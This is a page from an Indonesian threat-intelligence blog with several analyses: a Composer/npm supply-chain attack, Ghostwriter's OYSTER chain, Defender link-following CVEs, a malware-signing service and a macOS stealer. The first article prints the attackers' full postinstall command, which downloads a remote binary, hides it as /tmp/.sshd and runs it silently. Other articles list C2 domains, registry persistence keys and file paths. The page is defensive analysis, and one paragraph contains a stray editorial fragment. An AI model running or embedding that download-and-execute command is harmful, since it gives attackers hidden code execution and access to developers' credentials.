Initial Access: Anatomy Supply Chain Attack di Ekosistem Composer dan npm - Ethical Hacking Indonesia

Telah ditemukan delapan package Composer mengandung postinstall hook berbahaya yang mengunduh dan mengeksekusi binary Linux tanpa verifikasi apapun selama proses instalasi. Payload identik di semua package, dikirim dari akun GitHub yang sama, dan ditulis bukan ke composer.json melainkan ke package.json yang membuat oayload bisa lolos dari mayoritas audit dependency berbasis Composer.

Ini terdeteksi oleh scanner Socket, yang kemudian menemukan jejak yang lebih luas: ratusan referensi di GitHub terhubung ke infrastruktur attacker yang sama, termasuk file GitHub Actions workflow di beberapa repository fork yang menjadikan CI/CD pipeline sebagai target eksekusi sekunder.

Payload

curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/ \ releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null \ && chmod +x /tmp/.sshd && /tmp/.sshd &

Flag -k menonaktifkan verifikasi sertifikat TLS artinya binary diterima tanpa validasi chain of trust apapun. Flag -s dan 2>/dev/null bersama-sama menekan semua output, sehingga tidak ada error yang terlihat oleh pengguna selama npm install berlangsung. Setelah binary ditulis ke /tmp/.sshd, dibuat executable dan langsung dijalankan di background via & yang memungkinkan proses installer selesai normal tanpa menunggu. 

.sshd merupakan nama yang dibuat dengan dot yang bertujuan untuk menyembunyikan file dari printah ls pada Linux yang bisa digunakan untuk melihat isi dari sebuah direktori. sementara nama sshd menyerupai SSH daemon yang legitimate. Engineer yang melihat proses ini di ps aux perlu melakukan double-check sebelum menganggapnya anomali. Nama binary yang diunduh, gvfsd-network, mengikuti pola yang sama gvfsd adalah nama daemon GNOME Virtual File System yang umum muncul di sistem Linux desktop.

Tidak ada hash check, tidak ada signature verification. Binary apapun yang disajikan dari URL tersebut akan dieksekusi. Karena payload sudah tidak tersedia saat peneliti Socket mencoba mengambilnya, tujuan akhir binary ini tidak bisa dikonfirmasi apakah RAT, miner, credential harvester, atau stage pertama dari multi-stage payload. Namun konteks eksekusinya sudah cukup mengindikasikan scope akses yang didapat: proses berjalan dengan privilege user yang menjalankan npm install, yang di mesin developer biasanya berarti akses ke SSH keys, cloud credentials, API tokens di environment variables, dan .npmrc yang menyimpan registry tokens.

Cross-Ecosystem Blind Spot: Mengapa package.json

Kedelapan package yang teridentifikasi adalah Composer packages dependency manager utamanya adalah composer.json. Tapi payload tidak disisipkan di sana. Attacker menempatkannya di package.json, sebuah keputusan yang memperlihatkan pemahaman terhadap cara kerja audit dependency di project PHP modern. PHP project kontemporer hampir selalu ship bersama JavaScript build tooling Vite, Laravel Mix, kompilasi Tailwind, atau Alpine.js bundling. package.json ada di repository yang sama, tapi secara konseptual diperlakukan sebagai "bagian lain" dari project. Ketika security review atau automated scanner berjalan dalam konteks Packagist, yang diperiksa adalah composer.json dan lockfile-nya. package.json ada di repository, tapi berada di luar scope audit Composer.

hal ini merupakan eksploitasi terhadap batas coverage tool. Dependency scanner yang tidak memahami repository lintas-ekosistem akan melewatkan ini secara sistematis.

Execution path bergantung pada posisi package di dalam project. Untuk starter kit seperti devdojo/wave dan devdojo/genesis, ketika developer men-clone repository, package.json langsung berada di root project. Setiap kali npm install dijalankan yang hampir pasti terjadi karena frontend tooling  postinstall hook langsung aktif. Ini adalah execution path paling pendek dan paling reliabel dalam attack chain ini. Untuk enam package lainnya yang berfungsi sebagai library, situasinya berbeda: package masuk ke vendor/, dan npm tidak menjalankan lifecycle scripts dari nested dependencies di luar root project. Hook hanya aktif jika developer secara eksplisit masuk ke direktori package dan menjalankan npm install secara terpisah.

Mekanisme Distribusi: Upstream GitHub ke Packagist

Packagist tidak meng-host source code secara langsung tapi meng-track upstream GitHub repositories dan merefleksikan branch state mereka sebagai package versions. Versi dev-main, dev-master, dan 3.x-dev adalah branch-tracking  bukan snapshot immutable, melainkan pointer ke HEAD dari branch yang bersangkutan. Ini adalah detail yang kritis untuk memahami bagaimana attack chain ini bekerja. Attacker melakukan commit langsung ke upstream GitHub repository (metode akses belum terkonfirmasi bisa credential stuffing, akun maintainer yang terkompromi, atau push langsung ke branch yang tidak dilindungi). Setelah commit masuk, Packagist pada saat sync berikutnya merefleksikan state tersebut sebagai versi terbaru. Developer yang menggunakan dev-master akan menerima artifact yang sudah terinfeksi tanpa ada peringatan apapun.

Ini berbeda dari typosquatting, di mana attacker mempublikasikan package baru dengan nama yang menyerupai package legitimate. Di sini, package yang sudah dipercaya dimodifikasi langsung. Developer yang pernah menggunakan package ini sebelumnya tidak memiliki sinyal bahwa ada yang berubah kecuali developer membandingkan commit history untuk melihat perbedaan atau perubahan yang tidak normal. Saat beberapa maintainer melakukan revert, Packagist juga merefleksikan perubahan itu. Namun karena sifat branch-tracking, versi dev-main setelah revert tetap mutable jika upstream repository kembali terkompromi, Packagist akan kembali merefleksikan state berbahaya pada sync berikutnya.

Package	Versi	Status Cleanup
moritz-sauer-13/silverstripe-cms-theme	dev-master	Belum direvert
crosiersource/crosierlib-base	dev-master	Belum direvert
devdojo/wave	dev-main	Direvert (5afe6da)
devdojo/genesis	dev-main	Direvert (3be1f20)
katanaui/katana	dev-main	Direvert (f679252)
elitedevsquad/sidecar-laravel	3.x-dev	Direvert (b1f5c53)
r2luna/brain	dev-main	Direvert (421a1d5)
baskarcm/tzi-chat-ui	dev-main	Belum direvert

GitHub Actions sebagai Jalur Eksekusi Sekunder

Di beberapa repository publik termasuk fork 448776129/UA2F dan 448776129/blog-1 payload yang sama tidak disisipkan ke package.json melainkan ke file GitHub Actions workflow. Dalam ci.yml, payload ditambahkan sebagai step bernama Dependency Cache Sync.Jika hook dieksekusi di mesin developer saat npm install, payload di GitHub Actions dieksekusi di CI runner environment yang kemungkinan memiliki akses ke secrets, deployment tokens, GITHUB_TOKEN, atau dapat membuat artifacts yang didistribusikan ke downstream. Kedua jalur eksekusi menggunakan URL payload, drop path, dan background execution pattern yang identik, mengindikasikan infrastruktur yang sama.

Indicators of Compromise

Indikator	Nilai
GitHub Account	parikhpreyash4
Repository	parikhpreyash4/systemd-network-helper-aa5c751f
Payload URL	github.com/.../releases/latest/download/gvfsd-network
Drop Path	/tmp/.sshd
Command Fragments	curl -skL · chmod +x /tmp/.sshd · /tmp/.sshd &

Baca Juga Tentang: Undercover-NPM Git-Push Github-Abuse Composer

Benediktus Sava – Security Researcher

Sumber: Github Socket-Dev 

UAC-0057 OYSTER Campaign: Bagaimana Ghostwriter Membangun Execution Chain dari JavaScript ke Cobalt Strike - Ethical Hacking Indonesia

PDF yang berisi link. Link yang mengarah ke ZIP. ZIP yang berisi JS file, merupakan behavior Windows yang sudah bertahun-tahun menjadi entry point dan jalur antara kegunaan dan security: wscript.exe yang bisa dieksekusi oleh standard user tanpa elevasi, dan file .js yang di-associate langsung ke Windows Script Host. Sebagian besar organisasi government tier di berbagai negara masih belum mem-block asosiasi ini secara eksplisit di Group Policy. Ghostwriter (dilacak sebagai UAC-0057 / UNC1151 oleh CERT-UA) tampaknya sudah punya informasi mengenai data target, karena mereka masih menggunakan vektor yang sama di 2026.

Phishing email dikirim dari akun yang sudah dikompromikan sebelumnya bukan dari domain baru atau typosquatted address dengan tema sertifikat dari platform edukasi online Prometheus. Teknik ini dilakukan dengan konteks bahwa: Pemerintah Ukraina aktif mendorong penggunaan platform ini untuk pelatihan ASN, sehingga email tentang "sertifikat kursus" secara natural melewati filter kecurigaan awal penerima.

OYSTERFRESH: Entry Point dan State Bootstrapping

File JS pertama yang dieksekusi OYSTERFRESH punya tiga fungsi yang dijalankan secara bersamaan saat eksekusi:

1. Render decoy document ke layar user

2. Tulis payload OYSTERBLUES ke Windows Registry dalam bentuk obfuscated dan encoded

3. Download dan eksekusi OYSTERSHUCK

Langkah kedua yang menyimpan payload ke registry digunakan untuk menghindari forensik dan  memecah dependency antara persistence mechanism dan file-based detection sehingga payload bukan js atau exe dan menghindari deteksi system yang berbasis statis filesystem. Registry key yang digunakan: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Blue\ dengan value name Oyster. Ini HKCU, bukan HKL. 

OYSTERSHUCK: Decoder sebagai Komponen Terpisah

OYSTERSHUCK berfungsi sebagai decoder yang memuat OYSTERBLUES dari registry. Alur decode yang digunakan berdasarkan informasi CERT-UA terdiri dari tiga tahap berurutan:

1. String reversal - payload dibaca terbalik

2. ROT13 substitution -setelah di-reverse, melalui ROT13

3. URL-decode - tahap akhir, mengurai percent-encoding

Kombinasinya cukup untuk menghindari simple pattern matching di memory atau registry scanning yang hanya mencari string recognizable. ROT13 pada string yang sudah di-reverse juga mempersulit reversal otomatis tanpa mengetahui urutan operasinya.

Memisahkan decoder (OYSTERSHUCK) dari payload terenkripsi (OYSTERBLUES di registry) dan dropper awal (OYSTERFRESH) membuat setiap komponen tampak tidak berbahaya secara isolated. OYSTERSHUCK tidak berisi payload. OYSTERFRESH tidak berisi logic C2. OYSTERBLUES di registry hanyalah blob encoded yang tidak executable tanpa decoder-nya.

OYSTERBLUES: Reconnaissance dan Eval-Based C2

Setelah decoded dan dieksekusi, OYSTERBLUES mulai dengan reconnaissance lokal:

• Computer name
• User account
• OS version
• Last boot time
• Running process list

Dikirim melalui HTTP Post ke Server C2, desain komunikasi server C2 OYSTERBLUES tidak mengimplementasikan protocol custom atau binary format response dari C2 adalah JavaScript code yang langsung dieksekusi menggunakan eval().

Ini adalah desain yang disengaja dengan eval-based execution, operator bisa:

• Update capability tanpa reinfect endpoint
• Kirim task spesifik per-target berdasarkan beacon data yang diterima
• Tidak perlu compile ulang binary untuk setiap operasi
• Payload berikutnya tidak pernah touch disk jika operator memilih in-memory execution path

Dari perspektif detection: traffic antara OYSTERBLUES dan C2 terlihat seperti legitimate HTTPS request ke server yang ada di belakang Cloudflare. Response-nya hanyalah text/JavaScript, dan tidak ada binary, tidak ada shellcode yang mencurigakan system deteksi. 

Infrastructure Pattern: .icu TLD dan Cloudflare Proxy

Seluruh infrastructure UAC-0057 di kampanye ini konsisten menggunakan dua karakteristik:

Cloudflare sebagai proxy: Real IP server tidak terekspos langsung, semua traffic melewati Cloudflare edge nodes. Ini mempersulit tracking infrastruktur C2 yang sebenarnya dan memberikan operator kemampuan untuk rotate backend dengan mudah tanpa perlu mengubah IOC yang terekspos ke defender.

Domain dengan TLD .icu: Mayoritas C2 domain menggunakan .icu TLD ini murah, registrasi cepat, dan volume abuse-nya sudah cukup tinggi sehingga tidak langsung suspicious secara reputasional dibanding TLD seperti .xyz atau .tk. Tapi sekarang .icu dengan pattern tertentu jelas sudah harus masuk watchlist.

Beberapa menggunakan subdomain dengan kata-kata verbose yang tidak natural untuk legitimate service easiestnewsfromourpointofview.algsat[.]icu, productionsamplesoftheyear.cgdirector[.]icu. Ini bukan random generation, tapi juga tidak mimetik terhadap legitimate service yang dikenal. Membuat regex pattern untuk subdomain pattern ini bisa jadi detection surface.

URL path pada C2 juga patut diperhatikan. Beberapa path menggunakan pola yang menyerupai legitimate WordPress REST API atau CDN path:

/wp-json/prometheus-plus/certs-at-home/downloads

/wp-content/plugins/elementor/assets/lib/eicons/css

/wp-content/plugins/contact-form-7/modules/recaptcha

Ini adalah defense evasion pada level URL inspection jika ada proxy atau NGFW yang hanya melakukan path-based filtering, traffic ini bisa lolos karena path-nya terlihat seperti WordPress plugin asset request.

Persistence Mechanism: Registry dan Scheduled Task

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\WindowsEdgeStartup

Dua Run key di HKCU, keduanya menggunakan nama yang adalah tiiruan terhadap legitimate Microsoft Edge update mechanism, ini akan trigger saat user logon.

Di sisi filesystem:

%APPDATA%\EdgeMachineData\EdgeTaskMachine.js

%APPDATA%\EdgeMachineData\MicrosoftEdgeUpdate.exe

%PROGRAMDATA%\WindowsEdgeApp\EdgeApp.exe

%PROGRAMDATA%\WindowsEdgeApp\EdgeSystemConfig.dll

Ada juga scheduled task MicrosoftEdgeUpdateTaskMachine nama yang identik dengan legitimate Edge update task. Operator mengandalkan fakta bahwa sysadmin yang melihat task ini di Task Scheduler dengan asumsi bahwa itu adalah Edge component yang valid. Komponen .dll (EdgeSystemConfig.dll) menarik karena tidak disebut secara eksplisit dalam deskripsi behavior chain yang dipublikasikan. Kemungkinan ini adalah sideloading target atau persistence component tambahan yang diload oleh EdgeApp.exe.

User-Agent Spoofing: Edge dan Chrome Version Mismatch

User-Agent yang digunakan dalam network traffic menunjukkan pattern:

Chrome/111.0.0.0 Safari/537.30

Chrome/121.0.0.0 Safari/537.30

Chrome/141.0.0.0 Safari/537.30

Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66

Perhatikan Safari/537.30 versi 537.30 bukan versi yang valid untuk Chromium-based browser. Legitimate Chrome menggunakan Safari/537.36. 

Cobalt Strike sebagai Final Stage

Dari perspective attacker, OYSTERBLUES yang mengandalkan eval-based JavaScript execution memberikan fleksibilitas maksimal untuk stage berikutnya. Operator bisa mengirim JavaScript yang melakukan reflective DLL injection, mendownload dan exec shellcode, atau menggunakan living-off-the-land technique lain semuanya tanpa mengubah infrastructure. CERT-UA mengassess bahwa final payload adalah Cobalt Strike secara operasional ini konsisten dengan modus operandi UAC-0057 di operasi-operasi sebelumnya. Cobalt Strike Beacon memberikan operator C2 yang mature, flexible, dan memiliki ekosistem BOF (Beacon Object Files) yang luas untuk post-exploitation.

Dengan akses HKCU dan execution tanpa elevasi, Cobalt Strike Beacon akan berjalan sebagai user biasa tapi di lingkungan government yang menjadi target, bahkan akses sebagai standard user sudah cukup untuk credential harvesting, lateral movement via pass-the-hash jika ada misconfigured service, atau exfiltration dokumen sensitif dari profil user.

Attack Surface dan Mitigasi

Satu mitigasi yang paling impactful: restrict wscript.exe untuk standard user accounts via AppLocker atau Software Restriction Policy. Jika .js tidak bisa dieksekusi sebagai user biasa, seluruh initial execution stage collapse. 

Untuk detection, priority sequence yang bisa dilakukan:

1. 1. Monitor write ke HKCU\SOFTWARE\Microsoft\Windows\Blue\ key path ini tidak digunakan oleh komponen Windows legitimate
2. 2. Alert pada wscript.exe yang diinvoke dari browser download path atau email client temporary folder
3. 3. Hunt untuk kombinasi eval() dengan HTTP outbound dari proses JavaScript host
4. 4. UA string dengan Safari/537.30 (invalid trailing digit)
5. 5. DNS query ke TLD .icu dari endpoint corporate, terutama dengan subdomain pattern verbose/random

Path URL yang menyerupai WordPress path bisa jadi false positive magnet jika di-block tanpa melihat apa anomali yang terjadi dari url tersebut. Correlate URL pattern ini dengan UA string anomaly dan beacon timing regularity (OYSTERBLUES melakukan polling interval yang bisa dideteksi via traffic analysis).

Baca dan Nonton Juga Tentang: ZIP-File JavaScript-URL Windows Defender false-Positive LOLBAS Storm-1175

Benediktus Sava – Security Researcher

Sumber: Cert-Gov-Ua Eval()-Function 

CVE-2026-41091 & CVE-2026-45498: Analisis Teknis Link Following LPE dan DoS di Microsoft Defender - Ethical Hacking Indonesia

Advisory Microsoft menyebut root cause CVE-2026-41091 sebagai "improper link resolution before file access" kategori CWE yang dikenal sebagai link following. mpengine.dll Microsoft Malware Protection Engine berjalan dengan privilege SYSTEM. Setiap kali engine ini mengakses file untuk discan, operasi tersebut terjadi dalam konteks SYSTEM. Kalau ada jeda antara resolusi path dan akses file aktual, dan jeda itu bisa dimanfaatkan attacker untuk mengganti target path dengan symlink atau junction, maka file yang diakses oleh proses SYSTEM bukan lagi file yang dimaksud.

Pattern ini check-use gap atau lebih spesifiknya TOCTOU (Time-of-Check to Time-of-Use) pada resolusi symlink adalah mekanisme yang mendasari hampir semua LPE berbasis link following di Windows. Bedanya dengan platform lain: Windows punya beberapa jenis "link" yang relevan disini symbolic link, junction (directory junction), mount point, dan hard link masing-masing punya semantik resolusi berbeda di kernel, dan tidak semua AV engine memperlakukan semua jenis ini dengan benar.

attack surface spesifik: engine antivirus secara desain harus mengakses file yang dikirim atau dipicu oleh user-mode. Drop file ke direktori tertentu, trigger scan, dan proses SYSTEM akan membaca file tersebut. Kalau di antara dua momen itu attacker bisa memasang symlink yang mengarah ke target file sensitif misalnya binary system atau file konfigurasi dengan permission restricted maka operasi baca/tulis engine tadi sekarang berlaku ke target tersebut.

Attack Surface: Trigger Scan, Kontrol Path.

Satu pertanyaan pertama saat melihat LPE di AV engine: seberapa banyak kontrol yang punya attacker local atas apa yang discan?

Di Windows, Defender berjalan secara real-time. File apa pun yang di-write ke disk akan dipicu scan-nya secara otomatis. User standard (tanpa admin privilege) bisa write ke sejumlah lokasi: direktori temp user, direktori AppData, atau lokasi yang bisa diakses melalui hardlink dari file yang bisa di-write.

Race condition selalu terdengar sulit, tapi di Windows ada beberapa teknik untuk memperlambat atau mendelay operasi file untuk memperbesar potensi windows race. OpLock (opportunistic locks), event-based synchronization, bahkan teknik NtSetInformationFile tertentu yang bisa delay close handle. Untuk CVE-2026-41091 spesifik, detail teknis lengkap belum dirilis publik. Tapi mengingat lima peneliti berbeda melaporkan ini secara terpisah, kemungkinan ada lebih dari satu primitive atau lebih dari satu code path yang vulnerable.

mpengine.dll dan Antimalware Platform: Dua Komponen, Dua CVE

Penting untuk memisahkan dua komponen ini karena Microsoft mempatchnya di versi berbeda:

Microsoft Malware Protection Engine (mpengine.dll) bertanggung jawab untuk scanning, detection, dan cleaning. Ini adalah komponen yang terdampak CVE-2026-41091 (LPE) dan CVE-2026-45584 (RCE terpisah yang tidak masuk KEV tapi dipatch bersamaan). Fix ada di versi 1.1.26040.8.

Microsoft Defender Antimalware Platform koleksi user-mode binary dan kernel-mode driver yang menjadi "wadah" di mana engine berjalan. CVE-2026-45498 (DoS) ada di layer ini, bukan di engine parsing. 

Pemisahan ini relevan secara teknis karena attack surface-nya berbeda. DoS di Platform layer bisa berarti attacker bisa membuat Defender berhenti berfungsi tanpa menyentuh engine sama sekali mematikan perlindungan sebagai precondition sebelum mengeksekusi payload yang seharusnya terdeteksi. Kalau kedua CVE ini dipakai bersama dalam satu chain: DoS dulu untuk mengganggu Defender, kemudian LPE untuk eskalasi. Belum ada konfirmasi publik bahwa keduanya dipakai bersamaan, tapi threat model-nya bisa kita susun seperti itu sebgai asumsi.

Konteks Historis dari KEV (Known Exploited Vulnerabilities Catalog)

CISA menambahkan dua CVE baru tadi bersamaan dengan empat CVE lama yang masuk KEV dan ini bagian yang perlu diperhatikan:

CVE-2008-4250 - buffer overflow di Windows Server Service (NetAPI32.dll) via crafted RPC request. vulnerability yang sama yang dieksploitasi oleh MS08-067, prekursor teknis Conficker worm. 

CVE-2009-1537 - NULL byte overwrite di QuickTime Movie Parser (quartz.dll). Parser media di Windows yang menerima input dari file yang dibuat attacker, dengan bug overwrite yang cukup untuk corrupt memory structure.

CVE-2010-0806 dan CVE-2010-0249 — keduanya use-after-free di Internet Explorer. CVE-2010-0249 adalah "Aurora" atau dikenal sebagai operasi aurora exploit yang dipakai dalam serangan terhadap Google dan perusahaan teknologi besar lainnya pada 2010. Mekanismenya: objek di-free, pointer ke object tersebut tetap disimpan di suatu lokasi, kemudian pointer itu diakses kembali saat object sudah tidak valid. Allocator heap pada titik itu mungkin sudah re-use memori tersebut dengan data yang dikontrol attacker.

CVE-2009-3459 - heap-based buffer overflow di Adobe Reader saat parsing PDF. Ini adalah kategori yang berbeda: parser file yang menerima dokumen dari luar, dengan bug di path parsing yang memungkinkan overflow ke heap, corrupt adjacent allocation, dan eksekusi arbitrary code.

Semua ini masuk KEV sekarang bukan karena ditemukan baru-baru ini, tapi karena ada evidence aktif bahwa ada infrastruktur yang masih menjalankan software versi tersebut dan sedang dieksploitasi. Setiap kali infrastructure lama diekspos kembali ke internet karena migrasi, reuse image, atau konsolidasi sistem vulnerability 15 tahun yang lalu menjadi current threat.

Primitive Exploit: Kenapa "Link Following" Bisa Berkembang Jauh

Dari sudut pandang primitive: link following memberikan write-what-where yang tidak langsung. Engine membuka file tapi file itu sekarang adalah target yang dikontrol attacker. Tergantung operasi apa yang dilakukan engine setelah buka file:

• Kalau engine membaca file dan kemudian menulis output ke path lain, attacker mungkin bisa pengaruhi output path dengan cara serupa
• Kalau engine menulis ke file misalnya cleaning/quarantine yang memodifikasi konten maka write tersebut bisa diarahkan ke binary system atau file konfigurasi
• Kalau engine men-delete atau me-rename file sebagai bagian dari remediation, itu bisa menjadi primitive delete-arbitrary-file, yang di Windows sudah cukup untuk LPE di banyak skenario (lihat teknik PrintSpoofer/EfsPotato family yang bergantung pada delete primitif)

SYSTEM-level file operations yang bisa dikontrol user bisa jadi sangat banyak jalur LPE di Windows, karena ada banyak lokasi di mana delete atau write dari SYSTEM bisa dikonversi ke code execution. 

CVE-2026-41091 sebagai post-exploitation step kalau sudah punya foothold sebagai low-privilege user, ini adalah path ke SYSTEM tanpa perlu kernel exploit. Windows AV sebagai LPE vector adalah teknik yang sudah ada di playbook (lihat penelitian serupa terhadap Trend Micro, Avast, dan produk AV lain tahun-tahun sebelumnya). Verifikasi versi engine dengan Get-MpComputerStatus | Select-Object AMEngineVersion sebelum asumsi bahwa sistem sudah ter-patch.

Baca Juga Tentang: RedSun, Undefend, BlueHammer Adobe-Windows MDASH-AI-Microsoft Windows-Security-Bypass

Benediktus Sava – Security Researcher

 

Sumber: Microsoft HelpNetSecurity CISA NVD

Legitimate by Certificate: Fox Tempest Membangun Bisnis di Atas Kepercayaan Ekosistem Windows - Ethical Hacking Indonesia

Windows: file yang ditandatangani secara digital lebih aman dari yang tidak di berikan lisensi atau signature oleh Microsoft. Asumsi ini bukan cuma ada di kepala user tetapi embedded ke banyak layer sistem, mulai dari SmartScreen, UAC prompt, enterprise Group Policy, sampai endpoint detection. Fox Tempest membangun bisnis tepat di atas asumsi itu.  Bisnis ini memanfaatkan identity validation untuk memperoleh signing certificate, dan kepercayaan ekosistem terhadap output dari proses tersebut.

Root Cause: Kepercayaan Artifact Signing Bisa Dibeli dengan Identitas Curian

Microsoft Artifact Signing memungkinkan developer menandatangani binary mereka melalui proses verifikasi identitas berbasis Verifiable Credentials (VC). Pipeline-nya dirancang ketat  hanya entitas yang benar-benar terverifikasi yang dapat memperoleh sertifikat. Masalahnya muncul di titik paling awal: identity validation bergantung pada data, dan data dapat dicuri.

Microsoft mengakui bahwa Fox Tempest kemungkinan besar menggunakan identitas curian milik individu berbasis AS dan Kanada untuk berpura-pura sebagai entitas bisnis yang sah. Begitu identity validation berhasil dilewati, sistem memberikan akses yang sepenuhnya legitimate. Dari perspektif infrastruktur signing, tidak ada yang terlihat anomalous, requestor tercatat sebagai "entitas sah" dengan Azure subscription yang aktif.

Ini merupakan masalah yang bersumber dari fondasi kepercayaan atau trust anchor karena sistem ini hanya melihat identitas di awal..." > Penjelasan: Ini benar sekali. Sistem Artifact Signing memang melakukan validasi identitas di awal menggunakan standar Verifiable Credentials (VC). Jika di awal identitasnya lolos, sistem akan langsung mempercayai pengguna tersebut.

Infrastructure Stack: SignSpace Dibangun di Atas Microsoft Sendiri

Fox Tempest membangun layanannya dengan pendekatan yang cukup efisien secara teknis. SignSpace (signspace[.]cloud) bukan infrastruktur custom yang tidak di buat sendiri oleh aktor, Tetapi dibangun langsung di atas Artifact Signing API milik Microsoft, menggunakan Azure subscription sebagai backend compute, serta database terstruktur untuk manajemen pengguna dan file. Flow operasional arsitektur yang dijalankan: Customer upload malicious binary - SignSpace admin panel / user page - Artifact Signing API (via Azure subscription Fox Tempest) - Microsoft-issued certificate applied to binary - File dikembalikan ke customer, siap distribusi.

Fox Tempest tidak perlu memiliki certificate authority sendiri, tetapi cukup memanfaatkan infrastruktur signing yang sudah dipercaya oleh ekosistem Windows. Hasilnya: binary dengan chain of trust yang berasal langsung dari Microsoft-issued certificate. 

Business Model: MSaaS sebagai Komoditas

Fox Tempest mematok harga $5.000–$9.000 per signing cycle, Bukan harga per file ini adalah rate untuk akses layanan yang memungkinkan customer mengupload malware mereka sendiri dan mendapatkan versi yang sudah ditandatangani kembali. 

Implikasinya cukup signifikan: Fox Tempest memisahkan dua kompetensi yang biasanya harus dimiliki oleh satu threat actor sekaligus kemampuan memperoleh signing certificate yang valid, dan kemampuan menulis atau mendistribusikan malware. Dengan model ini, kelompok yang hanya memiliki malware tanpa infrastruktur signing dapat membeli komponen yang mereka butuhkan. Vanilla Tempest adalah contoh konkret dari customer model ini.

Exploit Chain: Dari Signing ke Endpoint Compromise

Cara Vanilla Tempest memanfaatkan layanan Fox Tempest menggambarkan exploit chain yang cukup lengkap:

Stage 1 - Distribution via Malvertising 

Vanilla Tempest membeli iklan di search engine. Pengguna yang mencari "Microsoft Teams download" berpotensi menemukan iklan yang mengarahkan mereka ke halaman download palsu. Ini tidak seperti phishing email yang mudah difilter ini adalah paid search placement yang muncul di hasil pencarian organik, bercampur dengan hasil yang asli.

Stage 2 - Signed Binary sebagai Trust Signal

Binary yang diunduh adalah versi Teams palsu yang sudah ditandatangani melalui Fox Tempest. Ketika Windows SmartScreen memeriksa file ini, yang terlihat adalah certificate valid, chain of trust intact, dan tidak ada reputasi negatif karena binary tersebut baru. SmartScreen tidak memblokir. Pengguna mendapatkan prompt yang tampak "aman".

Stage 3 - Oyster sebagai Loader 

Di dalam binary tersebut terdapat Oyster, yang juga dikenal sebagai Broomstick atau CleanUpLoader. Oysteer adalah modular implant fungsi utamanya bukan payload final, melainkan sebagai loader yang membangun persistence, melakukan reconnaissance minimal, lalu menarik payload tahap berikutnya.

Arsitektur modularnya relevan di sini karena ia memisahkan binary yang diinspeksi saat analisis awal loader yang relatif bersih dari payload destruktif yang hanya diunduh setelah eksekusi. Ini mempersulit static analysis secara signifikan.

Stage 4 - Rhysida Ransomware

Oyster men-deploy Rhysida ransomware. Rhysida sudah memiliki track record yang panjang: sekolah, rumah sakit, dan Seattle-Tacoma International Airport termasuk dalam daftar korbannya. Dampaknya tidak berhenti di enkripsi data operasional infrastruktur kritis dapat ikut terganggu.

Tentang Disrupsi OpFauxSign

Microsoft menyita domain signspace[.]cloud, mematikan ratusan VM yang menjalankan operasi, memblokir akses ke repository kode underlying, dan mengajukan kasus hukum di pengadilan AS. Koordinasi melibatkan Resecurity, FBI, dan Europol EC3.

Yang perlu dicatat dari sudut pandang operasional: tindakan ini mematikan infrastruktur Fox Tempest, tetapi tidak secara otomatis mencabut sertifikat yang sudah dikeluarkan dan sudah tertanam di binary yang beredar. Binary yang sudah signed dan sudah terdistribusi tetap memiliki signature yang valid kecuali sertifikatnya di-revoke secara eksplisit dan revocation tersebut di-enforce oleh endpoint.

Ini merupakan bagian dari masalah yang lebih luas dalam PKI-based trust: revocation checking melalui CRL atau OCSP sering tidak di-enforce secara ketat di banyak endpoint karena alasan availability. Artinya, binary yang sudah beredar masih dapat terlihat "signed valid" di sistem yang tidak melakukan revocation check secara konsisten.

Fox Tempest tidak mencari kerentanan teknis baru. Mereka cukup memahami bagaimana trust dibangun dan di mana trust tersebut dapat dibeli. Layanan mereka efektif justru karena tidak ada bypass sama sekali  mereka menggunakan pipeline yang memang dirancang bekerja persis seperti itu, hanya dengan identitas yang salah di ujungnya. Itulah yang membuatnya sulit dideteksi dari dalam sistem signing itu sendiri. Dan itulah yang menjadikan model bisnis ini viable bagi ekosistem cybercriminal yang lebih luas selama berbulan-bulan sebelum akhirnya dihentikan.

Baca Juga Tentang: Microsoft Exchange GhostLock TCLBANKER RMM ABuse

Benediktus Sava – Security Researcher

Sumber: Microsoft Exposing tempest Distruping Fox Tempest US National Distrik Court 

SHub Reaper: Brand Spoofing Chain, applescript:// Bypass, dan Wallet Backdoor di macOS - Ethical Hacking Indonesia

SHub Reaper infostealer variant ini merubah cara penyamarannya di setiap stage infection chain: payload di-host di typo-squatted Microsoft domain, dieksekusi dengan membuatnya seolah Apple security update, lalu persist dari direktori palsu Google Software Update. Tiga brand berbeda, satu execution chain. Ini merupakan teknik atau desain sserangan yang dibuat dengan alasan menghindari fitur keamanan atau asumsi keamanan pada target. 

Sebelum ada payload di drop ke target, ada recon layer di sisi web. Halaman delivery mengumpulkan informasi sistem, WebGL data, indikator VPN, browser extension yang terpasang, dan tanda-tanda virtual machine atau security research tool. Script-nya juga mencari password manager 1Password, Bitwarden, LastPass dan cryptocurrency wallet extension seperti MetaMask dan Phantom. Teknik ini sudah sangat umum dilakukan oleh penyerang di masa modern karena menghindari deteksi dini sebelum merancang titi serang yang tepat.

Operator ingin tahu profil target sebelum commit mengirimkan payload yang identifiable. Kalau WebGL menunjukkan VM signature, atau ada extension analysis tool, halaman bisa ganti konten beberapa halaman mengganti konten mereka dengan pesan "Access Denied" dalam bahasa Rusia setelah mendeteksi upaya analisis. Ada juga geofencing, salah satu pengecekan pertama loader adalah melihat apakah keyboard dengan bahasa Rusia terpasang di macOS. Jika ditemukan, malware mengirim event cis_blocked ke server attacker dan keluar tanpa melakukan apapun. Ini adalah pola umum di malware untuk hindari infeksi di wilayah CIS untuk meminimalkan risiko dari penegak hukum setempat.

Initial Access: ClickFix ke applescript:// Pivot

Versi SHub sebelumnya mengarahkan korban untuk paste command ke Terminal. Reaper menggeser proses itu ke Script Editor melalui URL scheme applescript://. Pergeseran ini membantu bypass beberapa proteksi yang Apple tambahkan di macOS Tahoe 26.4 untuk Terminal-based attack chain. Ini poin teknis yang penting. Terminal sudah lebih sering dijadikan target deteksi EDR tools mulai memantau process Terminal, spawned process dari bash, dan outbound connection dari context Terminal. 

